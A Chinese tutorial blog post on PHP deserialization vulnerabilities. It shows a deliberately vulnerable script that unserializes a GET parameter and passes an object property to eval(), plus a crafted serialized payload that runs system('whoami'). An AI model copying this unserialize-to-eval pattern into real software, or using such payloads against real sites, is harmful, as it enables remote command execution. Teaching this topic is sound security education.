php反序列化--2--PHP反序列化漏洞基础知识

一、什么是反序列化?

反序列化是将序列化的字符串还原为PHP的值的过程。

二、如何反序列化

使用unserialize()函数来执行反序列化操作

代码1:

$serializedStr = 'O:8:"stdClass":1:{s:4:"data";s:6:"sample";}';
$originalData = unserialize($serializedStr);
echo $originalData->data;

结果:

sample

三、反序列化漏洞是怎么产生的?

反序列化过程中,unserialize()接收到的值(字符串)可控

通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值。

反序列化不改变类的成员方法;需要调用方法后才能触发;

通过调用方法,触发代码执行。

代码2:

<?php

class summer{#定义了一个summer类
    public $a = '';
    public function displayVar(){   
        eval($this->a);#执行一个系统指令,将a里边的值定义到eval中
    }
}

$get = $_GET["spring"];
$b = unserialize($get);

$b->displayVar();

?>

1、使用$_GET获取get方法传输的spring参数

2、使用unserialize()函数对传入的值进行反序列化

注:eval()函数在PHP中的功能是将字符串作为PHP代码来执行

3、然后调用displayVar()将传入的参数执行出来。

4、如此可以看见,get传入的值必须是序列化后的值.

5、如何获得序列化后的值呢?

代码3

<?php

class summer{   #定义了一个summer类
    public $a ="system('whoami');";
   }

echo serialize(new summer);
?>

结果:

O:6:"summer":1:{s:1:"a";s:17:"system('whoami');";} 

 6、查看代码2是通过get方法获取spring参数的值,

如下图构造url,即可执行命令。

相关推荐

  1. PHP序列

    2024-07-15 03:34:02       32 阅读
  2. PHP序列漏洞-字符串逃逸

    2024-07-15 03:34:02       45 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-15 03:34:02       67 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-15 03:34:02       71 阅读
  3. 在Django里面运行非项目文件

    2024-07-15 03:34:02       58 阅读
  4. Python语言-面向对象

    2024-07-15 03:34:02       69 阅读

热门阅读

  1. Yolo系列合集

    2024-07-15 03:34:02       21 阅读
  2. 如何打开SQLServer配置管理器

    2024-07-15 03:34:02       20 阅读
  3. SQL笔试题【数据岗】

    2024-07-15 03:34:02       20 阅读
  4. sqlalchemy排序

    2024-07-15 03:34:02       18 阅读
  5. 深入探讨微服务架构设计模式与常见实践

    2024-07-15 03:34:02       18 阅读
  6. SQL执行慢的原因?如何排查?

    2024-07-15 03:34:02       23 阅读
  7. 常用设计模式

    2024-07-15 03:34:02       21 阅读